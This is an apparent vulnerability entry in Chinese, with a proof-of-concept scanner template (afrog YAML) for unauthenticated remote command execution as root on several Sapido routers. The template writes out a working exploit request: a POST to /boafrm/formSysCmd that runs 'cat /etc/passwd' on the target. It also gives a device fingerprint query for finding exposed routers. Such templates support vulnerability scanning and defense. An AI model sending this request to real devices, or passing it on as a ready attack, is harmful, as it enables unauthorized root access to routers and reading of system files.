sapido-router-rce: Sapido 多款路由器远程命令执行漏洞

漏洞描述

Sapido多款路由器在未授权的情况下，导致任意访问者可以以Root权限执行命令 http://xxx.xxx.xxx.xxx/syscmd.asp http://xxx.xxx.xxx.xxx/syscmd.htm app="Sapido-路由器"

PoC代码[已公开]

id: sapido-router-rce

info:
  name: Sapido 多款路由器 远程命令执行漏洞
  author: zan8in
  severity: critical
  description: |
    Sapido多款路由器在未授权的情况下，导致任意访问者可以以Root权限执行命令
    http://xxx.xxx.xxx.xxx/syscmd.asp
    http://xxx.xxx.xxx.xxx/syscmd.htm
    app="Sapido-路由器"
  reference:
    - http://wiki.peiqi.tech/wiki/iot/Sapido/Sapido%20%E5%A4%9A%E6%AC%BE%E8%B7%AF%E7%94%B1%E5%99%A8%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html

rules:
  r0:
    request:
      method: POST
      path: /boafrm/formSysCmd
      body: |
        sysCmd=cat+%2Fetc%2Fpasswd&apply=Apply&submit-url=%2Fsyscmd.htm&msg=
    expression: response.status == 302 && response.body.bcontains(b'<H1>302 Redirect</H1>') && response.headers["location"].contains("/syscmd.htm")
expression: r0()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/sapido-router-rce.yaml